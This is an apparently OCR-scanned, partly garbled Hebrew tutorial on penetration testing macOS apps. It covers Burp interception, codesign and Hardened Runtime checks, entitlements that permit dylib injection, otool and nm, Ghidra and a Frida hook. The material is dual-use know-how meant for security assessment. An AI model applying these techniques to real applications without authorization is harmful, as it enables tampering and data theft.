Penetration Testing of macOS Applications
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Load dylibs that can be hijacked e
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Send HTTP request
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Cocoa

class ViewController: NSViewController {
IBOutlet weak var textField: NSTextField
IBOutlet weak var textlLabel: NSTextField

IBOutlet weak var jhonny: NSImageView
override func viewDidLoad() {
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super.viewDidLoad()

jhonny.isHidden true

}

override var representedObject: Any? {
didSet {
b
¥
IBAction func buttonClicked(_ sender: Any) {

var text = textField.stringValue
text.isEmpty {
text "Boom"
b
let start ">> \(text)!"
textLabel.stringValue start
jhonny.isHidden false

IBAction func sendRequest(_ sender: Any) {

let url = URL(string: "http://127.0.0.1:9999")
var request = URLRequest(url: url)
request.httpMethod "GET"

let session = URLSession.shared
let task = session.dataTask(with: request) { (data, response, error) in

let error = error {
let data = data {

}
} {
}

task.resume()
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Intercept Client Requests
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NTIVN NX N1A .mac0S-2 Keychain Access-n "7 NX INNS :macOS Nd>vna CA-n NTivn Ngnn .3
NNAIMN NTIVAN DX 1W9N .File > Import Items-2 1NN IX ,Keychain Access 1IM7 NkXIMn CA-n
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All ltems Passwords
® PortSwigger CA

~ PortSwigger CA
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. B Daylight Time ety o .
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Daylight Time

Trust
Name: Keychain Expires

When using this ceftiicaty: [Always Trust

|
Secure Sockets Layer (SSI) | Always Trust
ocure Mai fways Trust
| s Mail (S/MIME) | Always Tr
. Extensible Authenticati Always Trust
[E§ PortSwigger CA i ety IP Security (IPsed) [Always Trust

Code Signiny [Always Trust

Time Stamping [Always Trust
X.509 Basic Policy | Always Trust

Details
Subject Name
Other Name PortSwigger
Other Name PortSwigger
Other Name PortSwigger
Organization PortSwigger

NNl ”System Preferences” 0M5NY% 1011 ,NRT NIYY7? T :macOS-2 yp 'opnNd NTan .4
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:"8080"-7 v1I91 "127.0.0.1"
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CIL Y Automatic proxy configuration

ICEE Web proxy (HTTP)
DNS

WINS Secure web proxy (HTTPS)

802.1% Server 127.0.01

Proxies Port 8080|

Hardware Proxy server requires password

Your

SOCKS proxy

Exclude simple hostnames

Forget This Network...
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Wireshark

.Wireshark Niyxnxa nw1 Niayn NNt y¥a? [N ,qona

MIYPNA NNVAN NIY7ZIN NINT? *TD 12 WNNwa? [N DY DNV NIMAII0aY 2 00 Wireshark
TIX 1IP01 X7 NT WNKRN2A .'1D1 W2 YT ,0'N0AINND K7 DY7IIVND L1732 VOV NIXNO'O 1ND NV
Wireshark :XnaIT7,0m" DMNXN XYW 7'yn7 0ATIN DNX X ,Wireshark oy nn1iaynn nimn

.For Pentester: A Beginner's Guide

4 Hypertext Transfer Protocol

v GET /supersecret.file HTTP/1.1\r\n

[Expert Info (Chat/Sequence): GET /supersecret.file HTTP/1.1\r\n]
Request Method: GET
Request URI: /supersecret.file
Request Version: HTTP/1.1

Host: www.stam—dummy.com:31337%r\n

Accept: #*/#\r\n

Accept-Language: en-GB,en-US5;q=08.9,en;q=0.8\r\n

0038 44 3e 7f 27 11 Bc c7 d4 47 45 54 28 2f 73 75 D=>-f GET /sup

@248 65 72 73 65 63 72 65 74 2e 66 69 6c 65 48 ersecret .fi'ldj-lT

@58 54 508 2f 31 2e 31 @d @a 48 6T 73 74 3a 20 77 TPf1l.1:+ Host: ww
77 2e 73 74 61 6d 2d 64 75 6d 6d 79 2e 63 6T w.stam—d ummy.com
3a 33 31 33 33 37 @d 0a 41 63 63 65 7@ 74 3a 131337 - Accept:
Z2a 2T 2a @d @a 41 63 63 65 78 74 2d 4c 61 Ge */%--Acc ept-Lang
75 61 67 65 3a 20 65 6e 2d 47 42 2c 65 6e 2d uage: en —GB,en-U
53 3b 71 3d 3@ 2e 39 2c 65 Ge 3b 71 3d 38 Ze 5;0=0.9, en;q=0.8
@d @8a 43 6T 6e G6e 65 62 74 69 6T 6e 3a 20 &b - -Connec tion: ke
65 70 2d 61 6c 69 76 65 @d @a 41 63 63 65 7@ ep—alive --Accept
2d 45 6e 63 6T 64 69 6e 67 3a 20 67 Ta 69 7@ -Encodin g: gzip,
28 64 65 66 6c 61 74 65 @d @a 55 73 65 72 2d deflate --User-A
67 65 6e 74 3a 20 64 75 6d 6d 79 2f 31 28 43 gent: du mmy/1 CF

Static File Analysis

N> 021N N7'oN AANNN .TIEN IN'MN 7Y 1avnn 2'NNnY% 7a17n ,macOS NU¥7*79x NINY N1l
127 NN 2907 DY70'W N0 ATIVAN '0191 (entitlements) NIXwWAN  NIMYNN MWW

DXPZYORN 7W NIFIRIXI0IDN NIV A9 NNVARN NN, NIT21¥72190

?TI7 NN'NN 'an

ANXY? .DNINN WNNUNnn T 72V X n'xp"wxnw NTI7 TYIIN NNLAN 112220 12'N TIZ NN'NN XIT'

DX [l YV NWYD 'I'WUN OX |2 ,DNPY798 11'YW 7D NINT? D710 Nownn NP 798N Nn'mn

JAUTT TI? NIVXNKRA
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A2 NNO5N DY NNAINAL '019 NN5N DY NIXAY N0 T NN NIYYAX2 NI Tip nnmn
[ONIXA TWR N2 NNON NIYXARD NNIX X7 271D 720900 Nownl, e 79x7 NoIIXn nn'nnn

.trusted root certificate store NITIVNN NAXN2

SUIY Y NITIVNA WANWNT? [N, NNROKR X271 XN 'Yap Dnin p'va 1w, Windows-7 TIana
23,10.15 macOS-n 7nn .Apple T 2v nanan Developer ID NTIVN DY TI7 n'NN DWIT macOS
7> Apple T 2V DNWINAL NIMIMN DIFNY DR'YD DEYRMORN NINY YN T DIX9IMY NiYz'79x8n

.Gatekeeper 7w 77NN N7 NNTAN NNN 71V9Y

N1 .macOS 7V YINN NIn'nn NDIN 7Y N'0ANY NNNLAY NNVAX NPA7IDL X'N Gatekeeper
D'NNONAN IX Apple 7¢ NIYPOXRN NN ITINY NIXR'798 N¥IN WWOKNN Gatekeeper ,7TNn
MYIR X7 IN NOPN NTIVN DY NNINN X7 N'¥'79X8N DX .Developer ID NTIvn 172471 Apple-7 mwnw

Y7 R¥I79KNN YNNI NINTR DY TIN A'¥N macOS n7u9nin Ndwn ,Gatekeeper "1 7y

IT DX K7X,D'¥1N WK NDIN 72 yin'? 12 Gatekeeper-n N1 TN NX NNWY? 02710 0'wnnwn ,|'o17n?

.(MDM) n'T"1 D"'wDnN 71n17 NS T 7y Nn72an

hash-n 210 7710 ,n'¥"79x 2V q'7n vy 72777 [N ,codesign "1 win'y *T' 7y ,q011 yT'n 7277 N1

.DNINN DN "I hash N1 ,n7w

NNPMOKRN 7Y TIPN NN'MN DX AN '7210,ARAN ATIRON XN T 7Y

codesign -dvv "<path to application>"

Daniels—-MacBook-Pro:macos—pt daniel$ codesign —-dvv dummy.app/
Executable=/Users/daniel/macos—-pt/dummy.app/Contents/Mac0S/dummy
Identifier=dummy.app

Format=app bundle with Mach-0 thin (x86_64)

CodeDirectory v=20500 size=778 flags=0x10002(adhoc,runtime) hashes=14+7 location

=embedded

Signature=adhoc

Info.plist entries=25

TeamIdentifier=not set

Runtime Version=12.3.0

Sealed Resources version=2 rules=13 files=5
Internal requirements count=0@ size=12

DX ,NNAIT? ,NNPY 712! AT .N9PN D70 T AN'MN NN X7 NPYROXIY pNY ,0Mmion DNl
70 DX IX (0N '91n DY IX NOPIN 29U NNK) NIN'NN NIRY NTIVNA NUNNWUN X' 79RN
TIPN NN (12202 N9'PYY7 NII'YNN DO TN NNX .DMINN DY'R N'XP'Y79RN N'7'2N IN2 DPARYNNN
2w NNx7 nxpmn TNt Ut TR XN Teamldentifier "Teamlidentifier" nTwh qwpna nn2ann
N'¥IIA'9117 *7'91ND NIpNNI NIXP'79R NN'NNY wnwnn ,Apple 'nN9n N3INY7 DIYAN Ny 0'NNSN

.macOS M'woin
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Code Signing APl X D'ON"NN "W TX 'NNONY [DINQ NA'MNN KIT'T 12212 IR QIpY7 N9 ,NN¥
I7'80 NIKT'NYT ,N7' T2 NNLVNY Nivnwn 775 NTaw ,adhoc NINMMN DY IX1'A7 MWDK IT Nj7'1D0
TV DY I'N Apple 7w nIYp'7oRNNn 770 1D NMWOR ANYD T N9YY .0NYY nnnn Apple

XD YT ITYNY [N ,901 yTNMY7 "1 Tam X7"-7 yapaw Teamldentifier

Hardened Runtime

N7 IX 798N 7V 70 Hardened Runtime-n OXN N7, TN NIMMN NINAA Tin?7 720w qon 1At

7¥ DMm'ion DAI0 YA T 7Y NDINN 7Y runtime-n 7V |an SIP Dy Tn' ,Hardened Runtime

.memory corruption-I dylib hijacking ,TIi7 npatn :M> ,NI9pNN

MTVa Tign na'Mna Hardened Runtime-n 90Ny n1ann NnY DX NIXKA? D710 1N

.codesign nTI7oN 7w 07921 CodeDirectory NIWA D'aXIN 17X 0727 .SecCodeSignatureFlags

Vv |"x¥n 0x0 yn .DINN TIZ 7 NRIY NIRIDN DXNNN 0727 7w 0o DN SecCodeSignatureFlags
NIM2D ATAMN 2¥AN INT .NI90I NI72AN IX NNVAX NP X77 N'VITIVO TP NN'NN D70 RN

DTN ANVAX NIYAT N7 'RY NIYPZY79X8N 2NY7 D'RNN KINE,macOS-2 TIp nn'fnn? 7Tnn

Daniels-MacBook-Pro:macos-pt daniel$ codesign —-dv dummy.app/
Executable=/Users/daniel/macos—pt/dummy.app/Contents/Mac0S/
Identifier=

Format=app bundle with Mach-0 universal (x86_64 armé4)

CodeDirectory v=20400 size=544185 flags=0x@(none) hashes=16995+7 location=embedd
ed

Signature size=4797

LASLR 1m0 niman N0 0¥ T 7w nnwn NI 07N anep7oxRn 2ww non 0x10000 7aTn
N 7107 ,[N0'T NIW2IN 71X ying 13 TN NI7YID 19X NIMYTA LTIR NN NIM'RIENIMS0 NIN'R
NV ,|70%7 XNAITA 11D ,0171WN NI 0213' 022N DWW LD 1N T TIR NATH yiani ndwn?
2v nnwpn ni'rTa oy TN adhoc (0x0002) nn'nn A7wnw 0x10002 72T DX W' NN DY 79X7

:(0x10000) nx™ Nt

Daniels—MacBook-Pro:macos—pt daniel$ codesign —-dvv dummy.app/
Executable=/Users/daniel/macos—pt/dummy.app/Contents/Mac0S/dummy
Identifier=dummy.app

Format=app bundle with Mach-0 thin (x86_64)

CodeDirectory v=20500 size=778 flags=0x10002(adhoc,runtime) hashes=14+7 location
=embedded

Signature=adhoc

Info.plist entries=25

:DMIYONN D'72TN 7D Nn'wN

kSecCodeSignatureHost 0x0001, may host guest code
kSecCodeSignatureAdhoc 0x0002, must be used without signer

kSecCodeSignatureForceHard 0x0100, always set HARD mode on launch
kSecCodeSignatureForceKill 0x0200, always set KILL mode on launch
kSecCodeSignatureForceExpiration 0x0400, force certificate expiration checks
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https://www.youtube.com/watch?v=5vYPurBAW9k
https://developer.apple.com/documentation/security/hardened_runtime?language=objc
https://developer.apple.com/documentation/security/seccodesignatureflags?language=objc
https://developer.apple.com/documentation/security/seccodesignatureflags?language=objc

kSecCodeSignatureRestrict 0x0800, restrict dyld loading

kSecCodeSignatureEnforcement 0x1000, enforce code signing

kSecCodeSignaturelLibraryValidation 0x2000, library validation required

kSecCodeSignatureRuntime 0x10000, apply runtime hardening policies

kSecCodeSignaturelLinkerSigned 0x20000, identify that the signature was auto
generated by the linker

D'71>' D'NNON ,NT NPNA .7'2an Hardened Runtime-nw NI712'2 wnnwn? NIDNIXY NIYYZ'79X W'

-1 Google Chrome Im> 01979 T ,NNAIT? .N'OS'¥D0 NAAN 7027 'O Runtime Exceptions-2 wnnwn?

Just-In-Time (JIT) viIx'a "WOKX7? "> com.apple.security.cs.allow-jit N> NIAN2 D'wnnwn Firefox

:JavaScript TIp 7w

Runtime Exceptions Allow Execution of JIT-compiled Code

Allow Unsigned Executable Memory

Allow DYLD Environment Variables

Disable Library Validation

Disable Executable Memory Protection

Debugging Tool

DN PITA7 N1 DIPR'YI0I9 NI9PNNYT7 DXP79RN DR qIUNT? n717V Runtime Exceptions MN7y9n

.entitlements-n NPT T 7Y NIANN W' DYRY7ORY

Entitlements

N1AI71D02 IN NN'YWA WIN'WY? ARWIN DXIN YaIR? D' ynn W-NNon Ty [0 - Entitlements
NS 17'% 2V NIyRa¥n [Aw INKN ,0'¥ap NN NN9N Q%W X' NIKYIND N'Ta .Nn'ion

JIRWIN 7 007 NNITA ,NDYN Y¥A7 710! Nr¥?'79N

UNNWNY? X'N DDYTA DNR .'YP'79RN 7Y entitlements-n N'wN NN 21T NIMMWON 190N [1W!

XA NTIPON NXN T 7V codesign 1702

codesign -d --entitlements :- path to binary file
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https://developer.apple.com/documentation/security/hardened_runtime#3111188
https://developer.apple.com/documentation/bundleresources/entitlements

NTIPON DX T2V (M7 N T 7Y DX otool 7w Nannm noMa) jtool-a DA wnnwn? N1
NN2N

jtool2 -ent ~/dummy.app/Contents/Mac0S/dummy

DX ,NQOAIT? .NIMWYOX NNVAX NI'YA NINT? N1 ,NNP'Y798N 7Y entitlements-n nima T %y
727 2107 215 0t "true” W oy allow-dyld-environment-variables-7 entitlements W' n'xj79x7

qwnna D 7y 019 .Dylib Injection-7 NY'A9 N'X¥P7OXRNY

<?xml version="1.8" encoding="UTF-B"?7>
<|DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.@8//EN" "http://www.apple.com/DTDs/PropertylList-1.@.dtd">
<plist version="1.8">
<dict>
<key>com.apple.security.app—sandbox</key>
<true/>
<keyscom.apple.security.cs.allow-dyld-environment-variables</key>
<true/>

<key>com.apple.security.cs.disable-library—validation</key>
<true/>
<key>com.apple.security.files.user-selected.read-only</key>
<true/>

<key>com.apple.security.network.client</key>

<true/>

<fdict>
</plist>

:NNAIT? entitlements 190n 707

IX D'2'AN'79 [IV0Y7 N¥?"79X7 "WONN com.apple.security.cs.disable-library-validation

D'NINN X7 D7IMM9

1IY'R? NQ'A0 INYNN] WNNWNY TWORN com.apple.security.cs.allow-dyld-environment-variables
DN T
D700 N¥P'79X7 D'D'70N 1aNY YWONN com.apple.security.get-task-allow

[N NIYWRINYG N'¥p79RN XK QUIN | com.apple.security.cs.allow-unsigned-executable-memory

NITIN NYP'NY7 NN IRNPZ IRYIN NN com.apple.security.files.downloads.read-write

N1am nNn7¥Nl ynnwn? n'xpr7ox? 1woNn com.apple.security.device.camera

2V2 IN DN entitlements N7 W' DR NDYN ARWNYT I W VTNAY nWR 7377 nNwy nxproN

STN NNl nw'a nm

UNNWN? NNWOKRN DX N'Xp'7987 Nz'avn com.apple.security.device.camera nXYINN ,NNAIT?

.TCC 1 72w NNpI9N ITN NXWINN ,macOS 11 (Big Sur)-n 7NN ,NXT DY .wNnNwNn 7w nn7¥xna

D'MIY" 7¥ NYIAN DX N7NINY Nf171100 NN (Transparency, Consent and Control 7w 11x'j7) TCC
N Y¥I7 WUpan DIY' AWRD .DIFM NN [IDNE'M ,NN7¥N (12D ,Unnunn v 0'wha 0imaY
-1 elevation prompt-7 NNIT NWpaN NX NINT\AMWK? "> wnnwn? nyTin y'97* TCC 178 DIM7

TV YI9R' K7 17001 NY nu'7nnn ,windows
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http://www.newosxbook.com/tools/jtool.html
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Hacks and Tricks

NN'TN NRYTA VIX'A DY NIMYOK NI'Y'aS nint? 'm 0'¥ay NN v nniv Nnip'1dLa wUnnwny N1

.macOS mivm

NIXIO NINYPZ ORD NY¥PZY7ORN IR NIYNYAN 'YW TX NIMDS0 NIX 21727 X'N NIXI9IN NIROLN NNX
Xcode NTIPON MY 7w 0'70n N7'ana 71700 ,otool *720 NIYXNNA NRT NIYYY? N2 DIWIT NNVAX

NTIPON DX YINT7 NI ,DIY" WNNWN [NAY NIMD0N 7w nn'w 72177 nan v jtool 790 NITva I
otool -L <path to binary file

NRYIM IX NIYIAD NIMS0 UoNYI

Daniels-MacBook-Pro:macos—-pt daniel$ otool -L dummy.app/Contents/Mac0S/dummy

dummy . app/Contents/Mac0S/dummy :
@Prpath/custom.dylib (compatibility version 0.0.0, current version 0.0.0, weak)
/System/Library/Frameworks/Foundation.framework/Versions/C/Foundation (compatibility version 300.0.0, cu
/usr/1lib/libobjc.A.dylib (compatibility version 1.0.0, current version 228.0.0)
/usr/1ib/1ibSystem.B.dylib (compatibility version 1.0.0, current version 1311.100.3)
/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit (compatibility version 45.0.0, current vers
/usr/1lib/swift/libswiftAppKit.dylib (compatibility version 1.0.0, current version 109.0.0)
/usr/lib/swift/libswiftCore.dylib (compatibility version 1.0.0, current version 5.6.0)
/usr/lib/swift/libswiftCoreData.dylib (compatibility version 1.0.0, current version 19.0.0, weak)
/usr/1lib/swift/libswiftCoreFoundation.dylib (compatibility version 1.0.0, current version 14.0.0, weak)
/usr/1lib/swift/libswiftCoreGraphics.dylib (compatibility version 1.0.8, current version 2.0.0, weak)
/usr/lib/swift/libswiftCoreImage.dylib (compatibility version 1.0.0, current version 2.0.0, weak)
/usr/1lib/swift/libswiftDarwin.dylib (compatibility version 1.0.0, current version 0.0.0, weak)
/usr/1lib/swift/libswiftDispatch.dylib (compatibility version 1.0.0, current version 11.0.0, weak)
/usr/1lib/swift/libswiftFoundation.dylib (compatibility version 1.0.0, current version 72.105.0)
/usr/1ib/swift/1libswiftIOKit.dylib (compatibility version 1.0.0, current version 1.0.0, weak)
/usr/1lib/swift/libswiftMetal.dylib (compatibility version 1.0.0, current version 261.13.0, weak)

TIX A'¥N7 *TO ,NNAIT? .DIY'N 7¢ D'INYNN NN 0712000 DX 917W7 [N ,nm NTIRON NIYXNXKA

NTIPON DX YIN'7 7211 ,N¥1N Yalza 0'71an'0n Nn'wn
nm <path to file

NTIPZO .NNLAIKN X7 N1Ixa nwya [N YUIM'YUNY NI'X2AD IX NIWVIT NIV NI'X2119 WN) ,0790 qMa

_objc MI7'Dnn Nrxad .NAImd AXR79RN NIDN NOY IT'RA 'An? D'YN DX DX DA N'WIN'Y T
7> v nivaaxn _swift Nivonn Nexie ,Objective-C-2 NNNIS D' 798NW D 7V NIy'axn

:NN7N 21 Swift-2 NNNID NY7*7ORNY

_objec_retain
_objc_retainAutoreleasedReturnValue
_swift_bridgeObjectRelease
_swift_deletedMethodError
_swift_getTypeByMangledNameInContext
_swift_release

_swift_retain

_swift_unknownObjectRelease
_swift_unknownObjectRetain
_swift_unknownObjectwWeakAssign
_swift_unknownObjectWeakDestroy
_swift_unknownObjectWeakInit
_swift_unknownObjectwWeakLoadStrong
dyld_stub_binder

cCcCcCcCcCccCcCcCcCcCcCcC

D10NINA NI'N7 D"IWYY logs 'xapl APl NINNSN ,NIXNOC'O :[1Ad W1 YT'N INK DA U791 wON7 N1

.NUAINN 1I'RY 91X
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https://www.unix.com/man-page/osx/1/otool
http://www.newosxbook.com/tools/jtool.html
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:N?*T2%7 07O DA 1O0nN

.DMIY"N N7'and 790 N2 0NN LJSON Al IR plist, XML (122 NNTan '¥alp e

~/Library/Log N*1901 D'M7inn 772 012 ,logs '¥alp e

N0l 77D T2 ompimnn L SQLite YW DM Ton '¥2pPd> DIONINAN ,cache 'xap e
N7 011N ToN '¥27 NN17 [N .N>1YN1 DINKX 0'AIR'NA DNIXR RIXNT? N1 X ~/Library/Caches

:SQLitestudio IX SQLite Browser |12> D"7D NIY¥NN]

R New Database ® Open Database L @ Open Project & Save Project Attach Database ¥ Close Database

Database Structure  Browse Data  Edit Pragmas  Execute SQL Edit Database Cell
Table: | B cfurl_cache rece ¢ O

enury_iD | IsDataonFs recalver _data

<IDOCTYPE HTML PUBLIC *-{W3C/{DTD HTML 4.01//EN"
<IDOf E HTML PUBLI DTD HTML 4.01//EN"
secret.

6DFEIED2-4DCD-42BA-B3C6-2D!

Type of data currently in cell: Text | Numeric
E HTML PUBLI /{DTD HTML 4.01//EN"

oo s|w|n|=

7 character(s)

NIYYY? T2 .NNND Q¥P'798NY D'¥a7N 7D 7w nn'wn NIKMY N1 L Activity Monitor 7y ni7onona

:"Open Files and Ports" n"0'u1dN 7V 1I¥N?1 DIW'N IR NN, Activity Monitor NX INN9 ,NXT

Parent Process: User: daniel (501)
Process Group: (56809)
% CPU: 0.00 Recent hangs: 0

Memory  Statistics = Open Files and Ports

/Users/daniel/Library/Containers/dunmy.app/D

pnvate/var/fnlders/quldkfnhlihﬂtBZkb)qudMeWan/T/AppTrans\oca(mn/AEEBBBDB -983B-4BCA-AFCB~@A3A260350FD/d/dummy 2.app/Contents/Mac0S/dummy
/Library/Preferences/Logging/.plist-cache.FuOvhq)

/usr/share/icu/icudt701.dat

/Systen/Library/CoreServices/SysteaVersion. bundle/EngLish. proj/Systesvers ion.strings

/private/var/db/timezone/t2/20229.1.0/icutz/icut2441.d

/Systen/Library/CoreServices/SystemAppearance, bunale/(nntems/Resnur(es/iys(eMppearance car

/Systen/Library/CoreServices/SystemAppearance. bundle/Contents/Resources/DarkAqua.

7Systen/Library/CoreServices/Systenppearance. bundle/Contents/Resources/FauxVibrantbark. car

/Systen/Library/CoreServices/SystemAppearance, bundle/Contents/Resources/VibrantDark. car

/Systen/Library/Input Methods/EmojiFunctionRowIM.app/Contents/PlugIns/EmojiFunctionRowIM_Extension.appex/Contents/Resources/InfoPlist. loctable
/private/var/folders/zq/2dkfnx135x8t82kb1kqrd@40000gn/C/dunmy . app/dunmy . app/com. apple . metal/31001/1ibraries. data
/private/var/folders/zq/2dkfn8x135x8t82kb1kqrdd48000gn/C/dunmy . app/dummy . app/com. apple . metal/16777237_9765638/ functions. data
/private/var/folders/zq/2dkfn@x135x8t82kb1kqrd048000gn/T/AppT rans locat 1on/AEBOBEIB-IB3B-4BCA-AFCB~@A3A260350FD/d/dunmy 2.app/Contents/Resources/Base. lproj/Main. storyboardc/MainMenu.nib
/Systen/Library/PrivateF rameworks/SFSymbols. f ramework/Versions/A/Resources/CoreGlyphs. bundle/Contents/Resources/Assets
/private/var/folders/zq/2dkfn@x135x8t82kb1kqrd@4ee0egn/T/AppT rans locat ion/AEBOBBIB-IB3B-4BCA-AFCB-0A3A26D359FD/d/dummy 2.app/Contents/Resources/Base. lproj/Main. storyboardc/NSWindowControll
/usr/1ib/1ibobjc-trampolines.dylib

/Systen/Library/Frameworks/AppKit. framework/Versions/C/Resources/Common. loctable

/Systen/Library/Frameworks/AppKit. framework/Versions/C/Resources/InputManager. loctable

/Systen/Library/Frameworks/AppKit. framework/Versions/C/Resources/DictationManager. loctable

/Systen/Library/Frameworks/AppKit. framework/Versions/C/Resources/TextTouchBar. loctable

/Systen/Library/Fonts/SFNS. ttf

/Systen/Library/CoreServices/SystemAppearance. bundle/Contents/Resources/Aqua. car

/private/var/db/analyticsd/events.allowlist
/prnate/var/Voleers/zq/znkrnouzsmxazkmkumaaooasgn/T/Apprrans\ocatmn/AEsea893—9835—4acA-AFcaveAsAzsnzsqFb/u/nummy 2.app/Contents/Resources/Assets. car
/Systen/Library/Fonts/Helvetica. t

/Systen/Library/Caches/con.apple. Tht1DataCache. Le. kbdx

Activity Monitor-2 D'axIin NNNIS NNTN NUY7'Y79NY DI¥A7N 7D

wUNNwN? 7211 ,IT N"10N7 .0"IX1A D'¥APN VOV NITNNN Y7N7 RK'N W2 yTN KIxN? N950n 0T

nlieal

NIDINA DA YNNWNT7 [NIY X7 21WN 72X ,NTN 0OI9] INKY? 0IMIN '70NN N7 Py 7219%1 X7

.IDA Pro ,Hopper Disassembler ,Ghidra :In2 1'7anoxo'T
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https://github.com/NationalSecurityAgency/ghidra
https://www.hopperapp.com/
https://hex-rays.com/
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N'T2 D'Y"ON A1 .DTR? NI RN TIR AN 017D ,07'901 T *2n0R0 T yXa? 0710 17X 07D

:79n17nN TIP2 NIMWOKX NNVIAN NI'YAl memory corruption ,NIfAI7? Nirya

eoe CodeBrowser: test:/dummy
File Edit Analysis Graph Mavigation Search Select Tools Window Help
] e = BBED JIDULFEYE:- 3@ o~ /JESE®G..O0B® |3
Program Trees o b ™ x| [Estng ammy =¥ JE: . 3
4 | g L] | o mpile: FUN_100002140 - (d % @~ x
&7 dummy .
B e void FUN_100602148(void)
B “oaTA_const ;
8 _para undef ined »
B _unkeom XREF 12) 2 tong Lvar2;
EXTERNAL undet ined
a - tines
E vlong
uleng
tong
undef ined 261
F_iseez1de merly = __stubst:_si ft_unknown0bjectWeakLoadStrong
1 it i
100002140 55 pusH
- — t (War2 = 8)
roaram Tree 100002141 48 £9 &5 oy g Haot !
= 100082144 41 57 PUSH AT
| - symbol Tree d™ x 108662146 41 56 phrred ; \ :'r.:r:ux i I’u.uu Exception();
s imports 100002148 41 55 PUSH true )i
B bpon 108882142 41 54 PUSH - objc_msgSendl \Var2, "stringValue);
) Funetions. 10000214c 53 PUSH - objc_retainAutoreleasedReturnvalue(u/ari);
100087140 48 €3 ec 18 SUB ox1e =
ext g = $35510Foundat 10nE36_unconditional LyBridgeFranOhject iveCySSSORSStringCs
. 100002151 48 80 34 oV +qword ptr (_TeCSdusmy14ViewController:  tex... o bkt it
90 6 10 00 I— :
100002158 4c 89 61 cB MOV aquord pte [35° + local_48], - STuas
= su1es(
% FUN. 10000215¢ dc @1 ef AD . Uolcose o) gottt "
§ FUN-100002340 E 100062151 €8 38 00 A __stubs: :_swift_unknowndbjectweakLoodStrang Iatcods et '
§ FUN'100002600 = (ulong) (SuB164(.
§ FUN 100002680 100082164 48 85 c@ TesT | it oty
§ 100082167 01 84 5a i LAB_ 10000227 e amtsel 5o
H 01 00 80 ' o) &4
H 108682164 49 89 c4 Hov . i i <
100002170 48 b 35 oV s_stringValue_100003679, quord ptr [PTR_S .. et
o 00 : -
= Concataa(e ;
100002177 48 9 <7 oy al ) ¢
= | i +_§s5S6appendyySSF(SUB168(
A% oea T Loeoaaiyi 48 £5 <7 o ) 2 _ewift_bridgedbjectRelease
|48 Daa Types 100082182 8 63 Ba oA __stubs: :_objc_retainAutore leasedReturnvalue e e
§ sumnypes L1 taxine L
Sdummy 100002187 48 83 <3 oV i -
B macos Cy Decompile: FUN_100002140 = ) Functions =
' Console - Scripting g x
Filter
I [100002151 [ FUN_100002140 [ CALL 0x100002c8¢

Dynamic Analysis

11T NINYI7 DYYIN'WN D'XI9] D7D 7w NN 707

NIDT 'IN'T ,0'IYY 'WIX] 11017 wnwn - (Xcode 7w D'NN9NN *70n 770) Apple Instruments o

.D'¥27N NN NI7'WS NN Apynl N7

All Tracks

Logical Writes
Legical Reads
Filesystem Suggestions
| |
Disk Usage
| |

Disk I/ Latency

n Statistics <

Count Duration Min Duration

Syscall /| Process

Logical Writes Logical Reads er Filesystem Byt...

* Al >

¢ lseek

* stat64

* sys_fstat64

# open_nocancel
* open

* sys_close

16.68 KiE
0 Bytes
0 Bytes
0 Bytes
0 Bytes
0 Bytes
0 Bytes

271.32 KiB
0 Bytes
0 Bytes
0 Bytes
0 Bytes
0 Bytes
0 Bytes

150.87 MIE
0 Bytes
0 Bytes
0 Bytes
0 Bytes
0 Bytes
0 Bytes

3311 ms
1.84 ms
4.68 ms

764.55 us
3.86 ms
7.50 ms

185.92 us

277 ns
277 ns
1.02 us
618 ns
2,42 ps
2.64 us
767 ns
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https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html
https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html
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0'X2p71 NRYLVIY NI'MIT NIMSO0 ,NN'NN 01VLO 270 ,nixy nim'wn v yn j790n - TaskExplorer e

.0'NINOS
DP'NNI'Y NN 12D DA 'WIN'R INKR NIV - FileMonitor e
.0'70NN YW DI'ol DX INK 11V - ProcessMonitor e

.NNLVAX "IN 1INXY? D'0TINN ,0'NN9A 1Y 'Y TNINI7 0722 MO - Frida e

AN nyp frida 7y 0191 INIA

Frida

NYNNYN N9 .2W19 DIY" 9w 0'Nn1on API-n 'pwnn 78 1annn® 710'w marT Ninta ' Xin Frida

WONNY nn .Hooking & Memory Interception vI¥'a7 nNi1 N2'20 Ix'? *12 Javascript V8-n yviana

NTIZON NIYXANI NTA9 DX ['PNNYT [N .DNAK AT DYPY7ORN NIANINN DX NNRYW711017 117

pip3 install frida-tools

0 RN VOIPON ,NNAIT? .N'NP'79X7 PATI'W JavaScript-2 Frida 7w 090 1IN ,NINN WNKY

. 1 1 1 mac open” 1
I7|0]||—’I7 AN 2w axnn AN DX TVNNI oS oy ” P & N'X2119N DR DX

Interceptor.attach(Module.findExportByName(null, "open"), { onEnter: function(args)
{console.log("File path: " + Memory.readUtf8String(args[@])); console.log("Mode: "
args[1].toInt32()); } });

S2V191 YW macOS-n DIw'? Frida 7w 09" pon NN 7107 Y12 frida -| NTI792 wnnen

Daniels-MacBook-Pro:macos-pt daniel$ frida -1 script-pt.js 56809

Frida 16.0.11 - A world-class dynamic instrumentation toolkit

help -> Displays the help system
object? -> Display information about 'object'
exit/quit -> Exit

i

|

| Commands:
-l

More info at https://frida.re/docs/home/
Connected to Local System (id=local)

[Local::PID::56809 1-> File path: /System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Res
rgg::p:th: /System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Resources/Menus.loctable
rgg:'pgth: /System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Resources/Menus.loctable
r?g::pgth: /System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Resources/Menus.loctable
rggz'pgth: /System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Resources/Menus.loctable
rggzngth: /System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Resources/Menus.loctable
Mode: ©
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https://objective-see.org/products/taskexplorer.html
https://objective-see.org/products/taskexplorer.html
https://objective-see.com/products/utilities.html#FileMonitor
https://objective-see.com/products/utilities.html#FileMonitor
https://objective-see.org/products/utilities.html#ProcessMonitor
https://objective-see.org/products/utilities.html#ProcessMonitor
https://frida.re/
https://frida.re/

Memory Analysis

